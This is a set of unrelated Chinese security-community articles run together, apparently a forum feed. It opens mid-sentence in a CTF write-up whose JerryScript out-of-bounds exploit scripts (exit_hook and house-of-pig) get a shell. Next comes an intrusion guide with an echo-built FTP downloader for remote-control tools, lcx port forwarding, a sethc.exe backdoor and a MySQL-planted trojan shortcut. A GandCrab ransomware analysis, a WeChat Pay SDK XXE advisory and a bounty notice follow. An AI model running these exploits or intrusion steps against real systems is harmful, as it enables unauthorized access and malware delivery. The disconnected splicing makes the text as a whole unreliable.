所控制的内存区域，而不是像其他对象那样，通过偏移计算来得到所控制的内存区域；而在 DataView 的结构体中，`buffer_p` 则是指向
ArrayBuffer 的结构体首部。
同样，我们来个例子看看：
let a = ["11111111"]
a.shift()
ab = new ArrayBuffer(0x1000)
dv = new DataView(ab)
dv.setUint32(0, 0x41414141, true)
a.shift()
我们下断点调试，查看内存区域：
我们可以看到，ArrayBuffer 管理的内存区域是 `0x55555561f828`，而 DataView 管理的 ArrayBuffer 对象是在
`0x55555561f588`，我们找到了刚刚写入的 `0x41414141` 就在 `0x55555561f828`。
### 2、内存管理
JerryScript 在自己程序内部，实现了一个堆管理结构，我们来看一下它的初始化过程（`jerry-main/main-jerry.c`）：
# JERRY_GLOBAL_HEAP_SIZE (512)
int main (int argc, char **argv)
{
...
#if defined(JERRY_EXTERNAL_CONTEXT) && (JERRY_EXTERNAL_CONTEXT == 1)
jerry_context_t *context_p = jerry_create_context (JERRY_GLOBAL_HEAP_SIZE * 1024, context_alloc, NULL);
jerry_port_default_set_current_context (context_p);
#endif /* defined (JERRY_EXTERNAL_CONTEXT) && (JERRY_EXTERNAL_CONTEXT == 1) */
...
}
可以看到，jerry_create_context 初始化的堆大小为 `1024*512`，我们跟进 `jerry_create_context`：
jerry_context_t *
jerry_create_context (uint32_t heap_size, /**< the size of heap */
jerry_context_alloc_t alloc, /**< the alloc function */
void *cb_data_p) /**< the cb_data for alloc function */
{
...
size_t total_size = sizeof (jerry_context_t) + JMEM_ALIGNMENT;
...
heap_size = JERRY_ALIGNUP (heap_size, JMEM_ALIGNMENT);
...
total_size += heap_size;
total_size = JERRY_ALIGNUP (total_size, JMEM_ALIGNMENT);
...
// 从静态内存区域中申请空间
jerry_context_t *context_p = (jerry_context_t *) alloc (total_size, cb_data_p);
...
memset (context_p, 0, total_size);
uintptr_t context_ptr = ((uintptr_t) context_p) + sizeof (jerry_context_t);
context_ptr = JERRY_ALIGNUP (context_ptr, (uintptr_t) JMEM_ALIGNMENT);
uint8_t *byte_p = (uint8_t *) context_ptr;
...
// 它的符号名为 jerry_global_heap
context_p->heap_p = (jmem_heap_t *) byte_p;
// heap 大小
context_p->heap_size = heap_size;
byte_p += heap_size;
...
}
可以看到，`jerry_global_heap` 是分配在静态内存区域中，之后 JerryScript 的内存管理相关的操作都在这里完成，操作的相关函数为
void *jmem_pools_alloc (size_t size);
void jmem_pools_free (void *chunk_p, size_t size);
void jmem_pools_collect_empty (void);
### 3、安装和调试方法
JerryScript 的官方源码库在 [jerryscript-project/jerryscript](https://github.com/jerryscript-project/jerryscript)
中，为了方便调试，我们选择安装 debug 版本，安装命令如下：
python tools/build.py --debug --logging=on --error-messages=on --line-info=on
不过，如果安装成 DEBUG 版本，在调试的时候会遇到和 V8 一样的
`DCHECK`，导致我们无法正常调试漏洞。这里，我们可以修改一下源码（`jerryscript/jerry-core/jrt/jrt.h`）：
将 DEBUG 版本下的 `JERRY_ASSERT` 替换成 RELEASE 版本的 `JERRY_ASSERT`
即可，如果需要可以从我[这里](https://github.com/callmecro/My_Pwn_Study/tree/main/2021/shenyubei2021/HelloJerry)下载。
至于调试过程，如何下断点，这里推荐几个断点（前面介绍 `变量表示` 所用到的断点均来源于此）：
* b path/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:713
* b path/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:721
* b path/jerryscript/jerry-main/main-jerry.c:363
前两个断点下在漏洞发生的函数处，最后一个则是在 main 函数的结尾处。如果我们传入 exp.js 没有太大问题，一般就会走到最后的 main
结尾处，因此可以用来判断 exp.js 是否能够正常走完流程。
## 二、漏洞分析与利用
我们来查看一下题目提供的 patch 文件：
diff --git a/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c b/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c
index 52b84f89..57064139 100644
--- a/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c
+++ b/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c
@@ -729,7 +729,7 @@ ecma_builtin_array_prototype_object_shift (ecma_object_t *obj_p, /**< object */
buffer_p[len - 1] = ECMA_VALUE_UNDEFINED;
ecma_delete_fast_array_properties (obj_p, (uint32_t) (len - 1));
- + ecma_delete_fast_array_properties (obj_p, (uint32_t) (len - 2));
return ret_value;
}
}
diff 文件给出的源码是 `ecma_builtin_array_prototype_object_shift` 函数，对应的是
`Array.prototype.shift()` 方法。可以看到，出题人故意将 `ecma_delete_fast_array_properties`
的第二个参数改为 `len - 2`。也就是说，当我们删除一个元素时，Array 的长度减少 2，那么当 `length = 1`
时显然就会发生符号溢出，产生一个 oob Array，我们来测试一下：
let a = ["11111111"]
a.shift()
print(a[0])
print(a[1])
来查看一下内存区域：
可以看到，数组的长度变成了 `0xffffffff`，这是一个超长的数组，那我们就可以借助它进行任意的越界读取。
既然已经有了 oob Array，那么我们就可以尝试利用它来实现 getshell。这里，我们需要使用到我们熟悉的 ArrayBuffer 和
DataView。
前面提到，ArrayBuffer `buffer_p` 是直接存储地址值，而非像 Array
那样存储的是偏移量。那么，如果我们能够获取到这个地址值，并且将其的偏移进行修改，比如放到 ArrayBuffer 结构体的前面，那么我们是不是就可以读取到
`ArrayBuffer->buffer_p`，这样便可以泄露出 `jerry_global_heap` 的地址以及程序加载地址。
还是以刚刚的例子来看：
let a = ["11111111"]
a.shift()
ab = new ArrayBuffer(0x1000)
dv = new DataView(ab)
dv.setUint32(0, 0x41414141, true)
a.shift()
我们查看内存：
可以看到 `ArrayBuffer->buffer_p` 最低位并不为 0，怎么办呢？我们可以尝试添加一些变量上去。
let a = ["11111111"]
a.shift()
ab = new ArrayBuffer(0x1000)
dv = new DataView(ab)
dv.setUint32(0, 0x41414141, true)
aa = 1111
aaa = 1111
aaaaaaaaaaaa = 111
print(a[24])
a.shift()
我们再次查看内存，可以看到最低位就变为 0 了。
为什么会这样呢？这个本质上是因为 JavaScript 的 **变量提升** ，JerryScript 会先为每个变量相关的结构体分配内存空间进行存储，而
`jerry_global_heap` 本质上是个数组，它的内存是连续分配的，因此 `ArrayBuffer->buffer_p`
的内存地址就会顺延下去了。
那么，我们尝试去读取 `ArrayBuffer->buffer_p`：
既然我们可以读取了，那么我们是不是还可以进行修改呢？当然可以，只要我们计算好偏移即可，这里就不再继续演示了，各位师傅们可以自己去尝试。
## 三、解题过程
有了 oob Array，那么我们就要先泄露地址，然后尝试劫持程序流获取控制权。这里，我的思路是
1. 通过 UAF 泄露 `jerry_global_heap`，并打印出来
2. 修改 `ArrayBuffer->buffer_p` 为 `free_got` 表值，泄露 `free` 地址，进而得到 libc 基址
3. 修改 `ArrayBuffer->buffer_p` 指向 libc.so 所在内存区域，进行利用。
这里需要提两个注意的点：
1. 由于我们的 `oob Array` 只能控制低 4 个字节，因此一定要确保所有需要在 JerryScript 程序这边的信息泄露完毕，再修改 `ArrayBuffer->buffer_p` 到 libc.so 的内存，否则就再也回不到 JerryScript 这边了。
2. 我们在编写利用脚本的时候，不管是增加变量声明还是函数调用等，都会对 `ArrayBuffer->buffer_p` 产生影响，因此这个过程需要很有耐心。另外，这也是为什么要打印出 `jerry_global_heap` 的值，利用 gdb 调试是默认关闭 `aslr`，那么 `jerry_global_heap` 的值默认就是 `0x55555561f260`（在我的虚拟机中是这样的）。因此，我们只要看每次打印出来的 `jerry_global_heap` 的低 4 位与 `5561f260` 的偏差，然后进行修正即可，可以单独使用一个变量来表示偏移，比如下面的利用脚本中的 `heap_base_offset`。
最后，关于如何 getshell，我给出了两种利用方法。
第一种利用方式，就是劫持
`exit_hook`，具体可以参考[文章](https://blog.csdn.net/qq_43116977/article/details/105485947)
既然我们已经泄露了 libc，那么计算 `rtld_global` 的偏移也不是什么难事。不过，这种方法会受 `ld.so` 和 `libc.so`
加载偏移的影响，这个偏移在不同环境下的值并不相同，因此感觉不太通用：
let a = ["11111111"]
a.shift()
ab = new ArrayBuffer(0x1000)
dv = new DataView(ab)
dv.setUint32(0, 0x41414141, true)
heap_base_offset = 0xa7
jerry_global_heap = [1, 2]
jerry_global_heap[0] = a[24] - heap_base_offset
free_got = jerry_global_heap[0]*0x10 - 0x1490
libc_addr = [1, 2]
exit_hook = [1, 2]
one_gadget = [1, 2]
a[24] = jerry_global_heap[0] + 0x2e
jerry_global_heap[1] = dv.getUint32(0x5c, true)
jerry_global_heap[0] = jerry_global_heap[0]*0x10
print("jerry_global_heap: 0x"+(jerry_global_heap[0]+jerry_global_heap[1]*0x100000000).toString(16))
dv.setUint32(0x58, free_got, true)
libc_addr[0] = dv.getUint32(0x8, true) - 0x9d850
libc_addr[1] = dv.getUint32(0xc, true)
print("libc_addr: 0x"+(libc_addr[0]+libc_addr[1]*0x100000000).toString(16))
exit_hook[0] = 0x23ff60 + libc_addr[0]
exit_hook[1] = libc_addr[1]
print("exit_hook: 0x"+(exit_hook[0]+exit_hook[1]*0x100000000).toString(16))
one_gadget[0] = 0xe6c7e + libc_addr[0]
one_gadget[1] = libc_addr[1]
print("one_gadget: 0x"+(one_gadget[0]+one_gadget[1]*0x100000000).toString(16))
a[24] = a[24] + 0x177
exit_hook = exit_hook[0]+exit_hook[1]*0x100000000
dv.setBigUint64(0x58, exit_hook, true)
one_gadget = one_gadget[0]+one_gadget[1]*0x100000000
dv.setBigUint64(0x8, one_gadget, true)
dv.setBigUint64(0x10, one_gadget, true)
ab = new ArrayBuffer(0x1000)
// a.shift()
第二种利用方式，则是 `house of
pig`，具体可以参考这篇[文章](https://www.anquanke.com/post/id/242640)。我们这里可以任意写，可以更加方便地修改
`_IO_list_all`、`__free_hook` 以及伪造 `IO_FILE`。
为什么要这么大费周章，而不直接修改 `__free_hook` 就完事了呢？因为我发现，它除了开始解析 JavaScript 源码的时候，会使用到 libc
的堆，其余时候包括最后程序结束都不会再使用 libc 的堆。因此，我们需要想办法让它调用 free，进而执行到 `__free_hook` 的
`system` 函数。
这种方法比较稳定，不会因环境不同而受影响。
let a = ["11111111"]
a.shift()
ab = new ArrayBuffer(0x1000)
dv = new DataView(ab)
dv.setUint32(0, 0x41414141, true)
heap_base_offset = 0x12e
jerry_global_heap = [1, 2]
jerry_global_heap[0] = a[24] - heap_base_offset
free_got = jerry_global_heap[0]*0x10 - 0x1490
libc_addr = [1, 2]
free_hook = [1, 2]
system_addr = [1, 2]
binsh_addr = [1, 2]
_IO_str_jumps = [1, 2]
_IO_list_all = [1, 2]
fake_FILE = [1,2]
zero = 0
a[24] = jerry_global_heap[0] + 0x2e
jerry_global_heap[1] = dv.getUint32(0x5c, true)
jerry_global_heap[0] = jerry_global_heap[0]*0x10
jerry_global_heap = jerry_global_heap[0]+jerry_global_heap[1]*0x100000000
print("jerry_global_heap: 0x"+jerry_global_heap.toString(16))
dv.setUint32(0x58, free_got, true)
libc_addr[0] = dv.getUint32(0x8, true) - 0x9d850
libc_addr[1] = dv.getUint32(0xc, true)
print("libc_addr: 0x"+(libc_addr[0]+libc_addr[1]*0x100000000).toString(16))
free_hook[0] = 0x1eeb20 + libc_addr[0]
free_hook[1] = libc_addr[1]
print("free_hook: 0x"+(free_hook[0]+free_hook[1]*0x100000000).toString(16))
system_addr[0] = 0x55410 + libc_addr[0]
system_addr[1] = libc_addr[1]
binsh_addr[0] = 0x1b75aa+libc_addr[0]
binsh_addr[1] = libc_addr[1]
_IO_str_jumps[0] = 0x1ed560 + libc_addr[0]
_IO_str_jumps[1] = libc_addr[1]
print("system_addr: 0x"+(system_addr[0]+system_addr[1]*0x100000000).toString(16))
print("binsh_addr: 0x"+(binsh_addr[0]+binsh_addr[1]*0x100000000).toString(16))
print("_IO_str_jumps: 0x"+(_IO_str_jumps[0]+_IO_str_jumps[1]*0x100000000).toString(16))
a[24] = a[24] + 0x177 // &free_got -----> & control_base
fake_FILE[0] = free_hook[0] + 0x90
fake_FILE[1] = free_hook[1]
fake_FILE = fake_FILE[0]+fake_FILE[1]*0x100000000
print("fake_FILE: 0x"+fake_FILE.toString(16))
free_hook = free_hook[0]+free_hook[1]*0x100000000
system_addr = system_addr[0]+system_addr[1]*0x100000000
binsh_addr = binsh_addr[0]+binsh_addr[1]*0x100000000
_IO_str_jumps = _IO_str_jumps[0]+_IO_str_jumps[1]*0x100000000
dv.setBigUint64(0x58, free_hook, true)
// FAKE IO_FILE
dv.setBigUint64(0x90, zero, true) // _flag
dv.setBigUint64(0x98, zero, true) // _IO_read_ptr
dv.setBigUint64(0xa0, zero, true) // _IO_read_end
dv.setBigUint64(0xa8, zero, true) // _IO_read_base
dv.setBigUint64(0xb0, 1, true) //change _IO_write_base = 1
dv.setBigUint64(0xb8, 0xffffffffffff, true)
dv.setBigUint64(0xc0, zero, true)
dv.setBigUint64(0xc8, binsh_addr, true)
dv.setBigUint64(0xd0, binsh_addr+0x8, true)
dv.setBigUint64(0xd8, zero, true)
dv.setBigUint64(0xe0, zero, true)
dv.setBigUint64(0xe8, zero, true)
dv.setBigUint64(0xf0, zero, true)
dv.setBigUint64(0xf8, zero, true)
dv.setBigUint64(0x100, zero, true)
dv.setBigUint64(0x108, zero, true)
dv.setBigUint64(0x110, zero, true)
dv.setBigUint64(0x118, zero, true)
dv.setBigUint64(0x120, zero, true)
dv.setBigUint64(0x128, zero, true)
dv.setBigUint64(0x130, zero, true)
dv.setBigUint64(0x138, zero, true)
dv.setBigUint64(0x140, zero, true)
dv.setBigUint64(0x148, zero, true)
dv.setBigUint64(0x150, zero, true)
dv.setBigUint64(0x158, zero, true)
dv.setBigUint64(0x160, zero, true)
dv.setBigUint64(0x168, _IO_str_jumps, true)
dv.setBigUint64(0x8, system_addr, true)
dv.setBigUint64(0xa40, fake_FILE, true)
a[24] = a[24] - 0x259 // &free_hook - 0x8 -----> &_IO_list_all - 0x10
dv.setBigUint64(0x10, fake_FILE, true)
// a.shift()
最后，还是需要提一下：我这里使用的是自己编译的 JerryScript，与题目给的 JerryScript 并不相同，偏移需要自己调整一下。
运行 jerry 来执行利用脚本，即可 getshell：
## 四、总结
总的来说，这其实是一道不错的题目，很考察选手的现学能力，但不太好的一点就是放在 8
个小时的比赛中，做题时间太短了（也许是我太菜了）。不过，还是感谢主办方，提供了这么一道高质量题目。 | 社区文章 |
本文来自i春秋作者：[Binghe](http://bbs.ichunqiu.com/thread-10718-1-1.html?from=paper)
#### 目录
> 0x01 内网sa低权、内网注入点可os-shell情况适用
>
> 0x02 同第一个问题，但是站、库一体
>
> 0x03 目录权限的猥琐利用
>
> 0x04 FTP的一些利用方式
>
> 0x05 快捷方式调用powershell隐藏执行命令
### 0x01 内网sa低权、内网注入点可os-shell情况适用
（后者情况如是站裤分离，则目标机为数据库服务器）
mysql或许可以分割hex导出一个shell或lcx上去，mssql则不能 那么可以选择ftp，那么就会有人问你不是nc反弹的交互式，如何输入ftp密码？
其实可以批量执行，echo追加写文件，称为ftp下载者 先在外网搭建个ftp，帐号密码123，根目录放lcx或者是你的远控exe
echo open Ftp-ip>ftp.TXT //连接FTP
echo 123>>ftp.TXT //输入用户名
echo 123>>ftp.TXT //输入密码
echo get lcx c:lcx.exe>>ftp.TXT //执行下载命令
echo bye>>ftp.TXT //退出
ftp -s:ftp.txt //执行FTP.TXT文件中的FTP命令
然后你懂得 可以直接在下载到的路径运行你的muma或者lcx
### 0x02 同第一个问题，但是站、库一体
目标是web服务，当然可以用以上方法直接上服务器，但是问题来了，如果你的东西不免杀，或者他的ftp不可用咋办。
退而求其次，可以尝试echo往web目录shell，问题又来了，你没有web物理路径。 路径可以通过搜索文件得到，主页右键看源码得到一个生僻的js文件
dir /s/b 驱动器号:\example.js
驱动器ABCDEFG随便试试如果存在，会返回一个具体的绝对路径
接下来的事就不必多说了，双引号不影响脚本使用
### 0x03 目录权限的猥琐利用
比较累，不细说。拿到shell，可执行，但权限死，各种不成功可以试试微软的那个写入任意任意文件夹的0day，补丁就算了。
> poc：https://github.com/monoxgas/Trebuchet
用法
> Trebuchet.exe D:\1.txt c:\web\binghesec.asp
win8.1+net4.0测试效果（目录我已经设置了sys权限）
> 你也许会认为:“那又怎么样?你只是可以写入任意文件而已。 那我也只能呵呵 那么我们可不可以来个lpk.dll劫持?可不可以。。。
> 那么某些情况下的跨目录旁站写shell岂不是轻而易举？
### 0x04 FTP的一些利用方式
拿到shell后，权限很死，提权一筹莫展，程序的安装目录虽不可修改但可以访问，还可以下载。
如果遇到ftp等字眼，也许这就是转机。
1. ServU和G6 FTP这类的数据库有默认口令，有时候还可以看配置文件，或者反编译servuadmin.exe得到口令，可以间接执行命令，不再多说。
2. filezilla这类ftp服务一般不允许外部IP连接，可以把lcx端口转出来再连接（他的默认服务端口是14147）。把整个目录打包到本地，避免版本错误。
自己的vps执行：
lcx.exe -l 3333 4444
再将服务端的14147端口转发到lcx监听的3333端口上，可以用脚本 ，也可以用lcx
在vps上打开打包的Filezilla，连接端口4444，连上之后就相当于在他服务器上打开ftp一样，现在来创建个C盘的ftp服务，然后上传一个你改写的sethc.exe替换c:\windows\system32目录的sethc.exe，然后你懂得
3.flashfxp这类的FTP服务，虽可以配置文件看到密码，但是可以整个软件目录打包到本地，然后打开用星号查看器得到密码，这个服务也许权限不太高，但有可能用来爆破其他服务的密码。
### 0x05 最近比较火的一种新型的攻击方式，快捷方式调用powershell隐藏执行命令
已有利用工具，来自俄罗斯的黑阔，感谢吐司大牛分享出来。
url一栏是打开快捷方式时私密打开的程序，最后一栏是前台打开的程序，其他任意，图标可更换 看下效果，果然生猛！
你可以用他恶作剧，我们来用他提权。 url填木马地址，start process填ie浏览器的或者其他桌面的图标，生成之后，替换桌面，然后。。。。
有的小伙伴就会问了，能替换到桌面图标了，权限就够高了，还提权干嘛，我说：低权限请参考本文0x03
另外我们可以结合mysql的导出功能，当udf失败时可以用，现在高版本的mysql都不能udf提权了，我给大家做个例子
生成快捷方式之后存在本机磁盘，例：e:\IE
然后
select hex(load_file('e:/ie')) into dumpfile 'e:/1.txt';
打开e:\1.txt,复合里面16进制内容的code 然后在目标的mysql执行
select 0x(code,不需要括号) into dumpfile '目标桌面的IE快捷方式路径'；
这样。当管理员在服务器开IE时，就。。。，
#### 总结：
渗透测试所遇情况千变万化，哪里有真正的总结 仅作测试，请勿非法攻击。
本文由i春秋学院提供:http://bbs.ichunqiu.com/thread-10718-1-1.html?from=paper
* * * | 社区文章 |
# 近期GandCrab勒索事件详细分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Kshom[@360](https://github.com/360 "@360")观星实验室
## 勒索事件概述
从2018年9月底开始，根据数据监测GandCrab勒索有大规模爆发趋势,且版本更新频繁。在国内GandCrab目前仍以弱口令爆破、伪装正常软件诱导用户运行及漏洞传播这三种方式传播。当用户遭受感染时，系统磁盘被加密，文件后缀被修改为随机字母，并勒索交付数字货币赎金。
本文将对勒索事件应急中的一些经验与大家分享
PS:
GandCrab作者曾向被加密的叙利亚受害者道歉公布了5.0.3以前版本的密钥，随后更新了5.0.4版本并将叙利亚排除在加密区域之外，但是在10月最新的5.0.5版本又将这个区域设定删除
## 样本勒索执行流程
## 勒索样本分析
虽然GandCrab勒索病毒更新比较频繁，但代码框架变动不大，为保持文章完整性，这里对勒索的流程和细节进行梳理，以10月最新的5.0.5版本分析为主。
MD5: C805528F6844D7CAF5793C025B56F67D
从GandCrabV4版本之后，作者对函数调用入口做了处理，增加静态分析难度，此处入口为 loc_4061B3
遍历进程，结束占用特定文件的进程，为能正常加密文件做准备
结束的进程如下
检测特定的互斥量
这里的互斥量对应了样本中嵌入的DLL，决定是否开启利用两个提权漏洞进行提权DLL通过xor 0x18解密后，内存执行并通过管道与主进程通信
通过VerifyVersionInfoW判断操作系统MajorVersion是否为6以上
判断当前进程权限及安全身份RID，判断是否大于0x1000，这是确认当前进程是否为system组启动，以上两步均是判断操作系统是否为win7以上
判断是否为俄语系键盘语言及输入法
5.0.4版本中作者将叙利亚列入未加密区域，在5.0.5中又将其删除
5.0.5如下图所示，5.0.4版本如上图所示
将系统盘磁盘卷区的序号与特定字符串拼接加密后计算hash值，以此创建Mutex变量
随后使用内置的密钥解密出RSA公钥
当前版本RSA公钥如下
查找是否存在相关杀软进程
从注册表中取处理器相关信息拼成字符串计算CRC32值
获取机器信息，生成ransomId并拼接成字符串
随后通过RC4对这部分数据加密，RC4密钥为”jopochlen”
加密后的数据如下
在GandCrabV5版本后，加密文件后生成后缀变为随机
提取中要加密文件的类型及其后缀
使用CryptGenKey及CryptExportKey生出并导出公私密钥对，并查找注册表HKCUSOFTWAREkeys_datadata及HKLMSOFTWAREkeys_datadata两项，作者检查HKCU及HKLM为确保样本在非管理员权限以上启动也可正常写入注册表
若这两个注册表项均不存在，则先创建HKLM(HKCU)SOFTWAREex_datadata项，并生成ext子项中存储此次勒索后缀。
生成RSA公钥加密后的密钥
将密钥信息写入到注册表HKLM(HKCU)SOFTWAREkeys_datadata的public和private中
若这些注册表项已经存在则会使用HKLM(HKCU)SOFTWAREkeys_datadata项中原有的密钥及对应的后缀继续加密
将加密提示写入到txt文件中
并将加密后的密钥Base64保存
创建线程开始加密
加密会分别枚举网络资源和本地文件，枚举网络资源如下
以下目录不加密
以下文件不加密
存在随机生成的字符串则在目录下生成XXXXX-DECRYPT.txt勒索信息文件，否则生成KRAB-DECRYPT.txt
使用随机生成的字符串为后缀，若不存在则使用KRAB后缀
递归遍历磁盘目录，加密流程如下
加密函数与老版本基本相同
最后末尾写入0x21c大小的加密数据
将机器信息Base64编码后发送到某些域名
解密出的域名如下图
通过执行vssadmin delete删除巻影镜像防止恢复
勒索完成后会自删除
在GandCrabV5版本后，会在%TEMP%目录下创建并更改系统壁纸，展示勒索信息
在GandCrabV5版本后，作者增加了多个提权漏洞利用，有影响Win7、WinServer 2008及WinServer 2008
R2提权漏洞CVE-2018-8120
影响Win7以上的操作系统的提权漏洞CVE-2018-8440
Win10提权漏洞CVE-2018-0896
至此勒索样本分析完成
## 事件溯源分析
在2018年10月18日，360观星实验室团队在处理用户应急时，发现内网遭遇勒索，文件后缀被加密为PWFKPFCP，在磁盘目录下发现PWFKPFCP-DECRYPT.txt文件，根据特征判断用户感染了GandCrab勒索软件
对于被感染的用户，使用了观星实验室应急响应分析平台，对用户相关系统提取关键日志等信息，通过关联分析，大致得出黑客攻击的路径，具体如下：
无论是前段时间爆发的GlobeImposter勒索、Crysis勒索还是近期的GandCrab勒索，以弱口令爆破为主要攻击手法的黑客团伙已经拥有非常成熟的流程和工具。
在对收集上来的日志进行关联分析时，发现对KProcessHacker服务的加载时间来统计其时间轴进行初步定位
从数据得出在2018年10月16日22点57分，KProcessHacker服务已被加载，其登录分析行为如下
在暴力破解检测中发现从2018年10月14日开始，用户机器已经遭受大量爆破攻击
并发现了两条可疑的RDP登录记录
一条记录指向是X.X.X.60这台机器，在2018年10月18日凌晨2点29分通过Administrator
RDP登录，这台60机器显然也是受害机器，但时间已经晚于KProcessHacker加载时间
另一条记录指向是X.X.X.171这台机器，在2018年10月16日22点56分通过Administrator
RDP登录，这台机器的登录时间与KProcessHacker服务的加载时间相近且在其之前
深入分析171机器，同样发现了大量爆破记录
在2018年10月17日凌晨4点05分Administrator被重置密码
随即在2018年10月17日凌晨4点13分开始，恶意ip 119.129.75.111登录
并在2018年10月17日 17点27分将Administrator添加为Oracle超级管理员
继续对X.X.X.171机器关联分析发现X.X.X.164机器被更多的恶意ip登录
针对乌克兰193.238.46.96等ip分析，发现存在明显的扫描和爆破行为
对所有登录事件关联分析如下图所示
通过以上分析，基本确认出此次攻击的发起点及攻击路径
## 处置建议
对于已经感染的服务器立即下线隔离
在网络边界防火墙上全局关闭3389端口或3389端口只对特定IP开放
开启Windows防火墙，尽量关闭3389、445、139、135等不用的高危端口
每台服务器设置唯一口令，且复杂度要求采用大小写字母、数字、特殊符号混合的组合结构，口令位数足够长（15位、两种组合以上）
及时修复系统漏洞
## 安全建议
系统、应用相关的用户杜绝使用弱口令，同时，应该使用高复杂强度的密码，尽量包含大小写字母、数字、特殊符号等的混合密码，加强管理员安全意识，禁止密码重用的情况出现
禁止服务器主动发起外部连接请求，对于需要向外部服务器推送共享数据的，应使用白名单的方式，在出口防火墙加入相关策略，对主动连接IP范围进行限制
有效加强访问控制ACL策略，细化策略粒度，按区域按业务严格限制各个网络区域以及服务器之间的访问，采用白名单机制只允许开放特定的业务必要端口，其他端口一律禁止访问，仅管理员IP可对管理端口进行访问，如FTP、数据库服务、远程桌面等管理端口
配置并开启相关关键系统、应用日志，对系统日志进行定期异地归档、备份，避免在攻击行为发生时，导致无法对攻击途径、行为进行溯源等，加强安全溯源能力
针对服务器，不仅要安装带主动防护的杀毒软件，最好部署安全加固软件，阻断黑客攻击
## 参考链接及IOC
IOC：
c805528f6844d7caf5793c025b56f67d
f8853def4c82a9075ff0434c13ceca23
c805528f6844d7caf5793c025b56f67d
[“GandCrab勒索病毒最新疫情”- 360安全卫士](https://www.anquanke.com/post/id/161080)
[“Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service
for Obfuscation”- Mcafee](https://securingtomorrow.mcafee.com/mcafee-labs/rapidly-evolving-ransomware-gandcrab-version-5-partners-with-crypter-service-for-obfuscation/) | 社区文章 |
一、漏洞描述
微信在JAVA版本的SDK中提供callback回调功能，用来帮助商家接收异步付款结果，该接口接受XML格式的数据，攻击者可以构造恶意的回调数据（XML格式）来窃取商家服务器上的任何文件，一般支付服务器均为核心服务器，出现XXE导致任意文件。另外，一旦攻击者获得了关键支付的安全密钥（md5-key和商家信息，将可以直接实现0元支付购买任何商品）。
二、漏洞来源
<http://seclists.org/fulldisclosure/2018/Jul/3>
[https://xz.aliyun.com/t/2426?from=groupmessage&isappinstalled=0](https://xz.aliyun.com/t/2426?from=groupmessage&isappinstalled=0)
三、漏洞分析
漏洞代码
public class WXPayUtil {
/**
* XML格式字符串转换为Map
*
* @param strXML XML字符串
* @return XML数据转换后的Map
* @throws Exception
*/
public static Map<String, String> xmlToMap(String strXML) throws Exception {
try {
Map<String, String> data = new HashMap<String, String>();
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getDocumentElement().getChildNodes();
for (int idx = 0; idx < nodeList.getLength(); ++idx) {
Node node = nodeList.item(idx);
if (node.getNodeType() == Node.ELEMENT_NODE) {
org.w3c.dom.Element element = (org.w3c.dom.Element) node;
data.put(element.getNodeName(), element.getTextContent());
}
}
try {
stream.close();
} catch (Exception ex) {
// do nothing
}
return data;
} catch (Exception ex) {
WXPayUtil.getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
throw ex;
}
}
微信SDK的xmlToMap方法接收并处理XML数据，但是默认支持外部实体解析，所以只要可以控制strXML那么这边就存在XXE漏洞。
根据README可以看到，微信SDK的支付逻辑如下：
1、首先进行统一下单
import com.github.wxpay.sdk.WXPay;
import java.util.HashMap;
import java.util.Map;
public class WXPayExample {
public static void main(String[] args) throws Exception {
MyConfig config = new MyConfig();
WXPay wxpay = new WXPay(config);
Map<String, String> data = new HashMap<String, String>();
data.put("body", "腾讯充值中心-QQ会员充值");
data.put("out_trade_no", "2016090910595900000012");
data.put("device_info", "");
data.put("fee_type", "CNY");
data.put("total_fee", "1");
data.put("spbill_create_ip", "123.12.12.123");
data.put("notify_url", "http://www.example.com/wxpay/notify");
data.put("trade_type", "NATIVE"); // 此处指定为扫码支付
data.put("product_id", "12");
try {
Map<String, String> resp = wxpay.unifiedOrder(data);
System.out.println(resp);
} catch (Exception e) {
e.printStackTrace();
}
}
}
其中notify_url是通知地址，即接入方自己构建的web接口，用于异步接收微信支付结果通知的回调地址。
2、处理微信回调
import com.github.wxpay.sdk.WXPay;
import com.github.wxpay.sdk.WXPayUtil;
import java.util.Map;
public class WXPayExample {
public static void main(String[] args) throws Exception {
String notifyData = "...."; // 支付结果通知的xml格式数据
MyConfig config = new MyConfig();
WXPay wxpay = new WXPay(config);
Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData); // 转换成map
if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
// 签名正确
// 进行处理。
// 注意特殊情况：订单已经退款，但收到了支付结果成功的通知，不应把商户侧订单状态从退款改成支付成功
}
else {
// 签名错误，如果数据里没有sign字段，也认为是签名错误
}
}
}
String notifyData这边实际上就是微信给用户的接口返回的数据。
通过流程梳理可以看出，攻击点在于用户的回调接口notify_url，攻击者只需要往notify_url发送精心构造的payload就可以进行XXE攻击，另外，通过README中示例代码可以看出，签名校验是在xmlToMap之后的，所以无需完成签名校验即可完成攻击。
综上，只要使用了漏洞版本SDK¬ify_url泄露就可以被XXE攻击
四、漏洞修复
禁用外部实体解析 | 社区文章 |
好多人问我先知众测1月份还有没有月度奖励？
2月份还有没有？
3月份还有没有？
答案是：有！只要没挂公告说月度奖励结束，就一直有！
[u]具体活动规则：[/u]
1、活动时间：每月
2、参与对象：每个在先知（安全情报）平台通过实名认证的白帽子
3、活动规则：
活动期间通过在先知平台提交企业厂商漏洞或者通用厂商漏洞，审核通过并获得积分。积分最高的TOP10白帽子给予现金奖励。
奖励金额如下:
第1名：奖励人民币10000元
第2名：奖励人民币8000元
第3名：奖励人民币7000元
第4名：奖励人民币6000元
第5名：奖励人民币5000元
第6名：奖励人民币4000元
第7名：奖励人民币3000元
第8名：奖励人民币2000元
第9名：奖励人民币1000元
第10名：奖励人民币500元 | 社区文章 |
# 前言
